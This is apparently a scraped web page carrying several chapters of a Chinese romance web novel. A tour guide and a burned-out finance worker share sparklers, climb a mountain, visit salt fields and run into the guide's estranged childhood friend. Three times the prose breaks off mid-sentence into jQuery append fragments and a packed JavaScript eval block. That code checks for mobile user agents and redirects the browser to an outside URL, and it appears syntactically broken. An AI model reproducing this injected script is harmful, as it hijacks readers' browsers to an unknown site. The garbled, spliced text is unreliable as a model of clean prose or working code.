$(''#content'').append('' 事不用愁。” 李现青猛地抬头,看到聂云驰远远站在自己的帐篷前望向自己,一只手还拿着亮屏的手机,见他抬头就把手机收了起来,朝他招手。 李现青缓了一下起身的速度,然后朝着聂云驰走去,步伐时快时慢。 等到了那边,李现青才发现聂云驰的帐篷离蔡弎他们点的小篝火还有一段距离,正想问些什么,就见聂云驰给自己点了一支烟。 原来刚刚自己看到的那点猩红不是错觉。 李现青下意识地想。 “你的烟花呢?”聂云驰就着点烟的姿势抬眼看他,平时整齐拢到后面的头发落了几根发丝在额前,眼睛被火趋得微微眯起,眸色深如鹰背,倒映着一星火光。 “在这。”李现青怔怔地举起两根仙女棒。 聂云驰看着这两根小玩意,看不清是不是笑了一下:“仙女棒?” 李现青听出了他声音里的笑意,手稍微放低了些,呛声道:“对,等下拿去点大炮仗。” 话音刚落,李现青突然感觉有一道阴影靠了过来,然后轻轻覆到了自己身上。 是聂云驰弯下腰,用含着的烟去点他手里的仙女棒。 晚间开始起了风,将两人的头发吹得有些乱。 李现青从自己的视角看过去,能看到自己微长的头发被风推着和聂云驰飘在额前的碎发勾住又放开,还能看到聂云驰低垂的眼睛,浓密的睫毛投下来一圈扇形的阴影。 也能看到聂云驰退开的那一刻,自己手中的仙女棒“滋啦”一声开始溅射星光,像流星划过指尖宇宙。 李现青看着这一团小小的烟花,轻轻叹了口气,小声说:“好像电影啊。” “什么?”李现青的声音太小,被风一吹就让聂云驰捕捉不到一点。 “我说,”李现青定定地看着他,“还有一根,再帮我点一次吧。” 这次他把仙女棒举高了,聂云驰不必再低头。 “不留着点大炮仗了?”聂云驰逗他。 “把大炮仗忘记吧,太不浪漫了。”李现青无奈。 于是聂云驰不说话了。 他们几乎平视着看完第二根仙女棒的燃烧与冷却。 仙女棒的焰火晃动着,在两个人的脸上用光影做不同形状的画,有时看不清彼此眉毛的形状,有时看不到被遮掩的嘴唇,只有那一团火光,清晰地照进两个人的瞳孔。 不知道是谁往前迈了一步,又不知道是谁撤回来一步。 不知道是谁微微晃动了上身,也不知道是谁先侧过脸。 一切都只在沉默中进行。 远处有人用蓝牙设备放起了歌,歌词被风切割得断断续续。只能隐隐约约听到一句歌词:“我猜……绕几个弯,越靠近越明白。”唱得婉转缠绵。 李现青垂下手,觉得自己可能是太久没来格桑山起了高原反应,不然为何胸腔会像一张松弛的鼓皮,砰砰作响。 “有点吵……”李现青喃喃出声。 聂云驰把烟捻灭在指间,闻言愣了一下,然后微微后退一步。 “我也觉得。” 5. 第 5 章 第二天早上天还没亮,李现青就摸黑过去挨个帐篷把客人们叫起床看日出。然后又把几个帐篷中间火焰已经变得式微的小篝 火加了一点助燃的芒箕。 “哇,好黑好冷。”姜兆安缩着上半身坐到了篝火前伸手取暖。 “等太阳出来就会好一些。”李现青给她倒了一杯营地送的热茶,“喝点热的,暖一暖。” 然后又给其他几个人都倒了一杯。 或许是都还没有睡醒,一行人半围着篝火席地而坐,无言地望着天空等待,蔡弎感觉自己的眼皮像粘上了胶水,忍不住掏出来一盒烟晃了晃:“介意吗?” 李现青反应也有些迟钝,后知后觉蔡弎应该是在问他,摇摇头:“没关系。” 蔡弎便给自己点了一根,又把烟盒递了一圈。 姜兆安摆摆手,自己掏出来一盒,抽出一根漂亮的细长女士香烟:“我抽不惯你的,太呛。” 这倒是让李现青怔了一下,他还以为姜兆安不会抽烟,结果看姿势很是熟练。 察觉到李现青的目光,姜兆安冲他笑了一下,目光狡黠:“怎么啦,小向导,很惊讶?” 李现青点点头:“有一点,你看起来不像会抽烟的样子。” “我以前确实不抽,但是上班后压力太大了,偶尔需要麻痹一下自己,现代都市隶人嘛。”姜兆安叹气道,“这还是驰哥说的,酒精适合下班后麻痹一下大脑,但是深夜加班就只能用烟草来刺激神经了。” 听到提起自己,聂云驰开口道:“我说这个是解释一下自己的行为,不是在劝你也抽的。” 作为需要长期加班的金融民工,聂云驰其实没有烟瘾,只是会在上班上到不分昼夜的时候点上一支,用来提醒自己快要罢工的大脑还得继续保持清醒,顺便缓解一下自己的烦躁和焦虑。 他当时的mentor,现在已经升为VP变成整个A区负责人的程瑜,曾经和他讲过,进入到他们这个行业的人没有不会抽烟喝酒的,有的时候甚至不是因为客户,而是自己快要坚持不下去的时候在选择自我麻痹。 君恒在a市最大的写字楼群,隔壁就是繁华的商圈,负一层的各式酒吧清吧居酒屋,一到晚上十点,就会被刚下班的打工人占领。 衣着光鲜但身形疲惫的多数是从事金融,标志物是一些明显的奢牌logo;喜欢背一个黑色书包戴着眼镜的多半是隔壁楼的红圈所,他们甚至不会放弃把电脑带到酒吧;至于还有一部分穿着朴素面色苍白,经常连工牌都忘了摘的基本都是互联网行业,常聊话题是防脱洗发水。 这是早下班的酒精场合。 烟草的世界是在半夜灯火通明写字楼的抽烟室,隔壁的茶水间属于24小时不间断提供的咖啡。 “Zephyr,”程瑜坐在新搬进的办公室,背后落地玻璃窗完的a市CBD灯火璀璨,流光溢彩,她借用一部电影里的台词告诉自己的得力下属:“我们想过这样的生活,这些选择就是必须的。你年轻能干,也有想法,这些年来你的表现我都看在眼里,但是现在的环境你也知道,走出这个门,会有无数的人想要取代你的位置。所以我希望你考虑清楚,不要拿自己的职业生涯开玩笑。” 聂云驰看着落地窗外的景色,发现又有一栋大楼拔地而起亮起了一格一格的灯,于是他说:“Audrey,这个并购案结束后,我想请几天假。” 程瑜挑眉:“你到我手下工作六年了,这还是第一次休假。” 聂云驰想扯出一个笑,但是失败了:“我觉得我得休息一下。Audrey,你放心,我会做好收尾工作再请的。” 程瑜笑起来:“不要把我想得这么小气,去吧,你也趁着这次假期把事情考虑清楚,我等你休息好回来坐我的老位置。” 回忆到这里结束,聂云驰看见姜兆安俏皮地吐了一下舌头,拿起烟盒在李现青面前晃晃:“会吗,小向导?要不要试试我的,有蓝莓爆珠的哦。” 李现青盯着烟盒看了一会,然后伸手接过一支咬在齿间,低头从外套内侧摸出来一个旧银打火机,看起来应该有一些年代,上面雕刻的复杂花纹因为被人长期握在手里把握而有些磨损。 “啪嗒。”两下,火焰吞噬了烟草尾部。 姜兆安刚想夸小向导点火的姿势好漂亮,就听到李现青第一口就被呛到了。 “咳咳咳。”李现青狼狈地把烟移开,他已经太久没碰过烟草了,哪怕姜兆安抽的牌子已经算得上温和,但还是被呛得咳嗽。 聂云驰看着他被呛红的眼睛,有点想叹气,伸手准备抽走那根烟:“小孩子就不要抽了。” 李现青缓过了劲,一晃手避开他的动作,又把烟含回嘴里,这一下他正对着聂云驰的方向,双唇轻启,吐出了一个完美的烟圈。 烟圈有点颤颤巍巍地飞起,然后在将将碰到聂云驰的那一刻消散开来,缭绕着消弭。 看着聂云驰明显愣住的神情,李现青开心地笑出声:“这可是我们家的家传绝技。” 天开始亮了,聂云驰看着暖黄色的光描绘出李现青五官的轮廓,看到他朝自己眨了一下左眼:“日出要来了。” 聂云驰回过头去看东方,只觉得呼吸间空气冷冽,闻不到一丝蓝莓味。 格桑山的日出也是巴布城的一大知名景点了,等到太阳升起透过山峰的那一刻,整片天空都会泛起微微的藕粉色,山峰的边缘则是被描上雪青色,山顶上皑皑的积雪会折射出珍珠般的光芒,日轮会如同鲜艳油亮的咸蛋黄,绞杀一切黑暗。 “真美啊。” 这是所有人发自内心的赞美。 看完日出,简单收拾一下装备,便准备开车驶入真正的格桑山。 阿雅跑出来给李现青送了一瓶可乐,乖乖挥手告别。 李现青一边将车开出营地,一边叮嘱车里的客人:“我们现在会慢慢把车开上去,给大家一个适应的过程,登顶的那一段路是需要靠腿走上去的,大家要做好准备。给大家发的氧气罐一定要随身带好,有高反史的可以根据自己的情况吃高反药,从等一下进山开始,有任何不舒服都一定要说出来,对自己的身体负责。” 车只能开到大概海拔一千多米的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389793|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个地方被人们成为大本营,之前是一个距离格桑山最近的村庄,村民们鲜少外出,但是现在景区开发后他们在大本营开起了一个个档口,租售一些防寒的衣物鞋子、拍照打卡的装饰物以及一些食物补给,年纪稍微大一些,不通汉化的老人则多做起了保安和保洁。 李现青带着大家在大本营四处简单逛了逛,叮嘱大家可以再吃些东西确保能量充足,都会要等下车才有东西吃了,然后便带着一行人朝着登顶路线走去。 登顶是没有开发好的道路的,地图攻略看得再明白,等真正开始爬山就会发现四面八方都是差不多的景色,爬不过十分钟,人就会开始迷失方向感,几乎全靠向导作为人肉导航。 “需要歇一下吗?需要的举手啊!”李现青走在最后,时不时出声提醒大家方向和是否需要休息。 为了确保不走散,每个人都在腰间用绳子彼此串联起来,李现青看着他们手脚并用地往上爬,觉得自己像在遛一群还没断奶的小狗。 第三次发问的时候齐源举手了。 于是李现青带着他们到稍微避风的方位坐下,就地歇息。 齐源吸了几口氧气,觉得自己脑袋快炸了。 “还能坚持吗?会不会想吐?”李现青走到他前面,让他把面部完整露出来观察他的状态。 “还可以,不想。”齐源说话时的呼吸声很重。 “小向导,是不是说这个高原反应身体素质越好的越严重啊?”姜兆安也有些累了,她想看看时间却发现手机已经没了信号。 赵和远不解:“我们平时健身频率差不多,怎么就源子反应最大?” “有这个说法,但不是一定的。”李现青认真解释,“每个人体质不一样,高原反应的程度就会不一样,健身的话,经常做无氧运动的人可能会比经常做有氧运动的人反应轻一些。” 齐源吸了一会氧气,觉得自己好像缓过来了:“小向导,我觉得我刚刚好像顿悟了一样,脑子一片空白,仿佛到了天堂。” 聂云驰听完沉默了一下,说:“是因为你缺氧了。” 一行人都笑出声来。 短暂休息好,又重新出发登顶。 最后的这一截路所有人都很沉默,方向感已经彻底失灵,只能无条件服从李现青发出的指令,埋头往前冲,四目所至之处全是灰白的石头,青黄的草和一点薄薄的雪。 聂云驰很难形容这种感觉,仿佛天地之大只能听清自己的呼吸声,大脑因为缺氧而变得迟钝,平时横亘在脑海中的一切事情好像都不重要了,人变得只拥有身体,只需要氧气。 最后登顶的时候,所有人都直接坐到了地上。 “恭喜大家,耗时三个小时成功登顶!”李现青气定神闲地给大家鼓掌,笑眯眯地把大家的绳子解开:“帮你们拍张照片纪念一下吧。” 聂云驰把自己的胶片相机拿给李现青,教了他如何取景和按快门:“用这个拍一张吧。” “好哦。” “来,大家站好笑一笑,1、2、3,茄子~” 咔嚓一声,胶片定格。 6. 第 6 章 登顶之后的回程又是漫长的三个小时。 等回到大本营后所有人都开始坐下来寻觅一些食物。 聂云驰把脖子上的围巾解开放到膝盖上,感觉呼吸顺畅了一点。 “还好吗?”李现青下来后一直有在观察大家的状态,一下子就发现了聂云驰的动作。 “还好。”聂云驰点点头,“我之前爬过五千米,也没什么问题。” “不能这样算的。”李现青很认真地说,“每一次你的状态、当下身体的适应程度都有可能带来不一样的高原反应,不能掉以轻心。” 然后李现青从包里掏出来一瓶可乐,是早上出发的时候阿雅送给他的:“喝一口,会舒服一些。” 聂云驰接过来没有马上扭开,而是松松地握在手里。 “格桑山有三千多米高。”李现青看着他握可乐的手,突然开口说道,“这个距离是从巴布城到a城的十分之一。” 聂云驰愣了一下,觉得自己的脑子好像真的有一点缺氧。 “你很喜欢爬山吗?之前还爬过五千米,这个高度就算是我们也需要做一些准备。”李现青不打算解释自己刚才那句有些莫名的话,自然地岔开了话题。 聂云驰回忆了一下:“很久之前了,念大学的时候常出去玩。” “后来呢?” “后来我上班了。” 聂云驰拧开可乐,却没想到在李现青包里颠簸了一路的可乐在盖子打开的那一瞬间,疯狂地冒出浓密的泡沫,顺着他的手滴落到放在膝盖的围巾上。 李现青连忙从包里翻出纸巾,去擦那条围巾,又去擦聂云驰的手。 “没事。”聂云驰把可乐拧回得很快,所幸这次“可乐爆炸”事件波及不大。 “围巾脏了。”李现青还记着聂云驰有洁癖。 “没事,等回去再买一条就好。”聂云驰淡定地把围巾收起来,弄脏的那一面朝里叠好,然后把冷静后的可乐重新打开喝了几口,“这个可以缓解高原反应吗?” 李现青还是盯着围巾看,眉目愁容:“原本应该会舒服一点,但是现在我觉得好像变糟糕了。” 聂云驰用拧瓶盖的那只手揉揉李现青的头发:“不关事,这只是一点小意外。” “继续刚刚的话题吧,”聂云驰试图转移李现青的注意力,让他不要再纠结可乐,“我一毕业就在现在这个公司工作,到现 在整整六年,这次是我第一次休假。” “六年?”李现青呆滞住了,“整整五分之一。” “什么?” “我说六年是你过去所有生活的五分之一。你却把它们都让渡给了工作。” “让渡。”聂云驰细细咀嚼着这个词。 “但是有人告诉我,这个世界上有很多人想代替我,所以如果想继续过这样的生活,这些选择就是必须的。”聂云驰回忆着Audrey的语气,声音淡淡。 “聂先生,你是一个很笨的人。”李现青突然觉得聂云驰有一点可怜了。 聂云驰倒觉得李现青很聪明:“你是第一个这样说我的人。” “只是说想就代表还做不到,索日娜天天说我迟早会发大财呢。” “索日娜是谁?” “是我姐姐……这不是重点。重点是你的领导好像在CPU你。” 聂云驰听笑了,学着旁人的语气喊他:“青青,你真的很聪明。” 李现青:“所以你自己是怎么想的?” 聂云驰摇摇头:“我还在找答案。” 李现青:“你来巴布城之后,找到答案了吗?” 聂云驰:“我觉得我在接近答案。” 李现青不说话了。 其实经常会有一些人来到巴布城,来到这座远离城市喧嚣的城市,来感受自由的草原,然后再像一阵风一样离开,回到自己的城市,过真正属于自己的生活。 他都知道。 聂云驰也正在这样做这样的事情。 聂云驰静静地看了他一会,问:“青青,你在想什么?” 李现青别过头:“你不要喊我青青。” 聂云驰看着他的耳环,问:“为什么?” “这是家里人才能喊的称呼。” “那你给我一个我能喊的称呼吧。” “不要。” “又为什么?” “没有为什么。你为什么有这么多为什么?总之不可以。” “那我该怎么称呼你?” “为什么要纠结这个?”李现青觉得自己的胃有一些不舒服,涨起来,还有点酸,“称呼是用来叫的,如果一个称呼被创造出来,但是只能存在短短几天,那又为什么要把他创造出来呢?几天过后,这个称呼怎么办?它是会死去吗?但是它本来就是死的。” 聂云驰不问了,他觉得自己听懂了李现青的意思。 于是他说:“所以你喊我聂先生。” 李现青明白他明白了:“是的,聂先生。” 沉默在两个人之间开始蔓延。 李现青从聂云驰手里拿走了围巾:“这个给我吧,民宿里可以洗,一晚上就能干。” 聂云驰任他来拿,在围巾下触碰到彼此的指尖。 曾经在黑暗里被篝火熏得温暖的两只手,现在被晴朗雪山上的风吹得冰冷。 之后李现青不愿再待在聂云驰旁边,只远远地蹲着,吃一颗滚烫的茶叶蛋。 回到“小城森林”后所有人精力都消耗得差不多了,一头扎进房间休息。 李现青拿着聂云驰的围巾去了院子后面的小平房。 这两年经济好起来之后,巴布城很多人家都开始购入一些大型家电,洗衣机更是极大地解决了本地人冬天洗衣服洗出两手冻疮的陈年旧伤。 乌日娜当然也购入了一台,但是因为李现青只有带队的时候来这里临时居住,所以不常用,他们回来得不巧,洗衣机正在洗着一轮衣服。 “是贡央的,他一去修车,衣服就脏得能洗黑两池子水!”乌日娜看到李现青抱着一团看不清是什么的布料,说:“这是你的衣服吗?怎么感觉没见你穿过这个花色,拿来姑姑给你洗。” “不用了,姑姑。”李现青匆忙把那条围巾藏到身后,“只是一条围巾,我随便搓搓就行,不麻烦您。” 乌日娜觉得有点奇怪,但没有多问。 而等乌日娜走后,李现青看着这条围巾只觉得自己手贱,那个人有钱就让他花去,何苦拿过来? 细细搓洗完晾晒出去后,李现青愤愤拿出手机,把聂云驰的备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389794|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注改成了“烦人洁癖怪”。 “烦人洁癖怪是谁?”贡央突然站在李现青身后出声。 李现青被吓了一跳,忙把手机收起来:“你走路能不能有点声音?太吓人了。” “我发声了啊,我还喊你呢,是你玩手机玩得太入迷没听到吧?”贡央挠挠头,问李现青:“你在洗衣服啊?” 李现青沉默:“不是,别问了。” 贡央抬头看看那条围巾:“哦。” 等了一会,贡央站在原地,一只脚在地上来回蹭,期期艾艾地说“哥,你明天是不是要带他们去盐湖啊?” 李现青莫名觉得没有什么好事:“对,怎么了?” “哦……”贡央又开始挠头,说:“今天你在山上的时候,索日娜姐姐跟我说,咱们的行程要不要调整一下,后天再去盐湖。” 李现青不解:“怎么了?不是已经定好了吗?” 贡央低下头:“索日娜姐姐说,这个月的盐制好了,明天要请马队的让把盐送出去,但是老队长上次运盐回来的时候把腿摔骨折了,这次没法过来,马队少了一个人,他让他的孙子跟着麦隆叔过来了。” 老队长是现任马队队长麦隆的爸爸,而麦隆的儿子是奕丹。 曾经贡央也是管奕丹喊“奕丹哥”的,但那是在李现青和奕丹几乎形影不离的时期,现在他就算遇到奕丹也只管看不见,更别提称呼。 李现青闻言楞了一下,等反应过来下意思叹了一口气:“怎么他去了,我就去不得吗?” 贡央:“哥,我不是这个意思,我是担心你和他遇到……” “遇到了又怎样?”李现青现在已经可以很平和地想起一些事情,“难道他还能再冲我脸上打一拳吗?” “他敢!”贡央猛地睁大眼睛,握紧了拳头大声说:“上次是我反应慢了,不然他刚一抬手我就把他给揍趴下,然后给他脸都揍花!!” 李现青听着这话,好像又看到当时贡央远远冲过来的画面。 那个时候贡央几乎是一路助跑着用整个身子的力量把比自己高一个头的奕丹给撞翻在地上,然后骑在他身上“梆梆”就是两拳,恶狠狠地说:“你再动我哥一下试试!” 也不知道为什么,奕丹没有反抗,硬生生挨了这两拳,还是李现青走过去把贡央拉开。 “没关系,合同上都已经写清楚了,我们随意改不好。”李现青回过神,安慰贡央,“而且凭什么我要躲着他?这巴布城这么大,难道就是他一个人的地盘吗?” “可是,可是。”贡央还想再劝,但是又不知道想到什么,可是了半天也可是不出一个结论来。 李现青叹气:“别可是了,该怎么样就怎么样吧。” 说完,又很没自信地补充了一句:“其实我们也没有闹得很僵。” 贡央用一种“这话说出来哥你自己信吗”的眼神质疑李现青,但是最终还是放弃了劝说,只表示明天他要关店一天,全程陪同盐田的行程。 李现青拗不过,没办法只能同意,临了他还劝贡央:“真没事,盐田那么大,马队人又多,不一定会遇上的。” 结果第二天刚下车,李现青就听到有人喊他的名字。 一回头,是热情的麦隆叔,和他那坐在马上还没下来的儿子。 7. 第 7 章 李现青看到奕丹的第一反应是果然不能在背后议论别人,这不就说曹操曹操到了。 “小青崽,好久不见!”麦隆叔热情地过来给了李现青一个拥抱,又礼貌地脱下毡帽和跟在李现青身后一脸好奇的客人们打招呼,“你们好,我是马队的队长麦隆,谢谢大家到巴布来玩!” 有人好奇地问:“马队是做什么的?” 索日娜终于出现了,她应该刚刚忙完装盐的工作,用一块藏青色的花布全部包起来,以防止头发掉进盐里:“红池城以玉兰江为界,左边的盐田归布西族,右边的盐田归河纳族。在我们河纳,世世代代制盐为生,女人负责掌握制盐的技术,而男人们需要用马将盐卖到附件的城市,交给当地的盐商。马队就是由河纳族的男人们组建起来的运输团队。” 李现青向大家介绍了一下索日娜:“这位是索日娜,我的姐姐,她拥有西边最大的一块盐田,等一下的下盐田体验也由她带着大家进行。” 索日娜的妈妈和姆母(妈妈的妈妈)都曾经是河纳族最能干的女人,所以索日娜长大后继承了她们负责的盐田,成为了红池城西部最富有的女人。 巴布城开发之后,索日娜主动联系了自己的姑姑,准备拿出自己盐田中的一块,来做旅客体验,一经宣传,效果非常好,已经成为了索日娜盐田重要的附加收入。 盐田在不同角度的日照下,呈现出不同的粉色,远远望去如同未经打磨的胭脂盒,非常惊艳。 索日娜笑眯眯地一边介绍自己的大盐田,一边把大家带下去。 下盐田的时候聂云驰路过马队,看见那个刚才一直骑在马上远远观望的年轻男人突然动了,他从马上下来,直直朝着李现青的方向走过去。 碍于麦隆叔还站在旁边,贡央哪怕想跳起来骂人也只能忍住,瞪大了两只眼,试图警告奕丹。 出生于世代从事马队工作的家族,奕丹生得高大,深色的皮肤是在烈日下穿越草原城池的勋章,头发黝黑而粗密,耳朵上挂着银钩,下嘴唇还有一个小小的银钉。 他走过来,没有管旁边跟个高压锅一样憋着气的贡央,只管直直盯着李现青,说:“好久不见。” 平心而论,李现青不觉得他们是能互相寒暄这四个字的关系。因为他其实不太想见到奕丹。 麦隆叔没有察觉到有点怪异的气氛,还伸手拍拍自己儿子宽阔的脊背,说:“你们以前小时候恨不得天天黏在一起,怎么现在长大变得生疏了?” 有那么夸张吗? 听着麦隆叔的话,李现青有点走神。 然后发现好像确实有。 小时候李现青性格内向腼腆,不太会和人打交道,比起经常要请假回家帮忙放牧的同学,他可以说是整个巴布小学最固定的一个学生。 而奕丹是他第一个朋友。 奕丹其实比他还要小一岁,但是个头一直比他高,第一次认识是因为李现青把书包拉在了教室,等他折返学校找书包的时候发现学校已经锁门了,而奕丹那天刚好从学校路过,见状二话不说就翻墙进去找到了小现青的书包。 从那之后他们当了很多年的朋友。 直到一年前两人彻底闹翻。 奕丹见李现青一直不说话,想再说些什么,却被远处的姜兆安打断。 “小向导!过来帮我拍个照好不好!”姜兆安一只手举高,一只手作喇叭放在嘴边,招呼李现青过去。 站在几步远的聂云驰偏过头,没有看这边。 但姜兆安明明拿着他的胶片相机。 李现青正愁没有借口离开,闻言马上和麦隆叔示意:“客人找我,我就先过去了,咱们有空再聊。” 麦隆叔也不在意,挥挥手让他快去。 奕丹皱起眉,却也不再说话。 李现青不在意他怎么想,只快步往盐田走。 一时间,现场只留下贡央和奕丹大眼瞪小眼。 “来啦!”李现青朝姜兆安笑笑,问:“需要怎样拍?” 结果姜兆安把胶片相机塞到李现青手里,转头就把站在一旁看起来事不关己的聂云驰给卖了:“驰哥非说我用不好这个相机,要让你给他拍,我懒得和他计较,你加油哦小向导!” 聂云驰转回头,想制止姜兆安,但是对上李现青含笑的眼睛,又不说话了。 “那聂先生,你想拍什么?单人照吗?”李现青端起胶片机,问道。 聂云驰只好点点头说是。 李现青看着取景器里的聂云驰,说:“那笑一下吧,聂先生说茄子——” “你在说冷笑话吗?”聂云驰没有笑。 李现青无语:“我是在逗你笑啊。” 聂云驰想了想,说:“有一个词,比你的茄子要好用。” 李现青撇嘴:“好吧,那3、2、1——” “青青。” “咔嚓。” 李现青愣了几秒,回过神来后拿开相机,瞪着聂云驰看:“你喊什么?” 聂云驰看着他笑得比刚刚拍照更自然:“我在喊青青。” “都说了不许喊。” “为什么?我喊自己小猫的名字都不行吗?” “你胡说,你的猫明明叫杏仁!” “改名了。” “什么时候?” “刚刚。” “为什么改名叫青青?” “因为我很喜欢这个称呼,但是有人告诉我,一个称呼不能只短暂存在,所以我准备给我的小猫取名叫青青,反正他们也很像。” “谁?谁像谁?” “青青和小猫。青青像小猫。” “谁是青青,谁又是小猫。” “你是青青,杏仁是小猫。” “那你刚刚就是在喊我。” 聂云驰语塞了,他发现自己说不过李现青。 扳回一城的李现青有点得意,双手抱胸地说:“还有什么要解释的吗?你可以一次性说出来。” “没有了,我就是在喊你。”聂云驰放弃挣扎,坦白道。 李现青反而气势弱了下来:“……无聊。” “刚刚那个人是谁?”聂云驰看了眼奕丹留在原地的马,问道,“你朋友吗?” 李现青下意识点点头,反应过来后又马上摇摇头:“不是。现在不是了。就是一个……小时候的同学。” “小时候的同学。”聂云驰点点头,“那你是怎么和这位小竹马闹掰的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389795|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李现青一下子不知道是先纠结奕丹是不是“小竹马”,还是先问他怎么就这么笃定自己和奕丹闹掰了。 聂云驰却像会读心一样,还不等李现青问就主动解释道:“索日娜刚刚和我们说你和自己的小竹马许久不见,要聊一点知心话,让我们先走不要打扰你们。至于你们两个闹掰,是我猜的,因为你的弟弟都快用眼神把人家大卸八块了,像包公拿着虎头铡在看陈世美。” 李现青觉得自己没救了,听完这段话后的第一反应居然是:“第一次听你说这么多字。” 他甚至说出口了。 聂云驰想起自己的小猫,在试图离家出走被自己抓回来后,面对质问和批评,像听不懂一样用脑袋去蹭自己的手。 “也没有因为什么,只不过有一些事情,他没办法接受,我没办法改变,就变成这样了。”李现青故作轻松地对自己和奕丹之间的分歧做了一个总结。 聂云驰看着他躲避的眼神,说:“你在为他伤心吗?” “没有。”李现青否定得很果断,“不管是什么样的情况,都已经过去了,人总得往前看。” 聂云驰觉得这个答案听起来还不错,他眯眼看了看头顶刺眼的日头,把围巾取了下来,抖开盖在李现青头上:“去躲一下太阳吧,你晒得眼睛都睁不开了。” 李现青从围巾里露出一张脸,看起来只有巴掌大:“我睁得开。” 聂云驰微微低下头,和他平视:“那你为什么不看我?” 李现青又把眼睛垂下去了,能屈能伸道:“因为太阳太大了,我睁不开眼睛。” 聂云驰看懂了李现青的别扭,不再逗他,笑了一声就走了。 李现青躲在围巾的阴影下面,有点想叹气。 “哥。” 一回头,贡央不知道什么时候站到了自己身后,用一种李现青很难形容的复杂眼神看着自己。 贡央看了眼盖在李现青头上的围巾,又看了眼下到盐田的聂云驰,再看一眼李现青无辜的眼神,只觉得自己脑袋快要爆炸了:“这不是,你昨天洗的那条围巾吗?不对,这不是你自己的围巾吗?也不对,他为什么要给你用他的围巾?” 李现青撇嘴:“我洗的围巾,我用用怎么了?” 贡央还是觉得自己本不聪明的大脑现在都快要因为高速运转而过热短路了:“不是,你到底为什么要洗啊?你从小到大哪里干过什么重活?你连我的衣服都不帮忙洗的!整个巴布第一个买洗衣机的人就是你啊!” “……” 李现青觉得自己一个问题都回答不了,所性决定沉默到底。 贡央却还在独自崩溃:“哥,你有没有听我说话啊!” 听到了听到了,我只是不想回复你。 “他怎么可以就是,和你靠得那么近呢?太没礼貌了!” 没有,其实聂云驰挺讲礼貌的,还有点洁癖。 “哥,你为什么不反驳我,难道事情真的就像我想的那样吗!” 我怎么知道你在乱想什么,我和聂云驰清清白白。 贡央发出最后一声悲鸣:“哥,你不会变成恋爱脑了吧!” 李现青忍无可忍,因为他觉得贡央这次好像骂对了方向。 8. 第 8 章 “你什么时候喜欢拍照了?” 聂云驰到盐田的时候,索日娜正在给大家示范制盐的个别步骤。 蔡弎退到他身边,突然问了一句。 聂云驰看着脚下深浅不一的粉色盐田,淡淡地说:“带的胶卷,拍完一整卷才能洗。” 蔡弎看了他一眼,一下就发现了不同:“你的围巾呢?” “有点长,怕弄脏,让别人帮我拿一下。”聂云驰面不改色地继续说。 这下不用他说,蔡弎也知道是拿给谁了:“你和小向导走得挺近。” 聂云驰瞥过他:“你也说他是向导。” “只是这样吗?” “弎儿,你想说什么就直说。” 蔡弎捋了一把前额的头发,说:“巴布是个很特别的地方,这里的人也很特别。特别的美好、自由、漂亮。所以你这个过着苦行僧生活的人会被吸引简直太正常不过了。但是凡事都有个但是,我相信你自己心里有数。” 聂云驰点点头,确实是特别的美好、自由、漂亮。 蔡弎看他的样子也不知道听进去多少,想再说些什么又怕自己多嘴无意间捅破一些窗户纸,让事情变得更复杂,索性不再说话,任聂云驰一个人沉默。 李现青在贡央的监督下乖乖坐在索日娜的木屋前,围巾被叠成豆腐块放在腿上。 他望着远方的盐田出神,任由贡央在旁边叉着腰说了好几次让他移交这条十恶不赦围巾的管理权,只当没听到。 最后贡央累了,放弃了,他觉得自己应该确实是已经没招了,坐到李现青旁边叹气。 这下李现青反而看到他了,还给他递过去一瓶在索日娜这发现的果汁:“渴不渴?喝点水吧。” 贡央妥协接过:“哥,如果你早点和我说话的话,我不至于这么渴的。” 李现青嗯呐嗯呐地胡乱应过,让贡央快喝果汁歇歇。 贡央一口气喝完一整瓶果汁,一抬头,顿觉今天是他二十几年人生中最为黑暗的日子,因为属实是一波未平一波又起。 奕丹忙完了马队那边的活,又找过来了。 李现青拦了一下要起身的贡央,觉得再让这孩子气下去就真的要变成高压锅了。 “有什么事吗?”李现青拍拍手站起来,顺道眼疾手快地将拍开贡央想趁机拿走围巾的手。 奕丹看着他笑了一下,但看起来不像是在开心:“你终于不装作没看见我了?” 李现青觉得这个人好莫名其妙:“是你当初说就当不认识我的,我只是在满足你的要求。” 奕丹沉默了一下,说:“当年的事,我确实做得不对。但是……但是我那个时候确实完全没有办法接受。” “那你现在是什么意思?”李现青搞不懂了,“如果是要道歉的话,之前我就说过了,我不需要。” “不是。”奕丹飞快扫了一眼贡央,说:“我们能不能单独谈谈?” 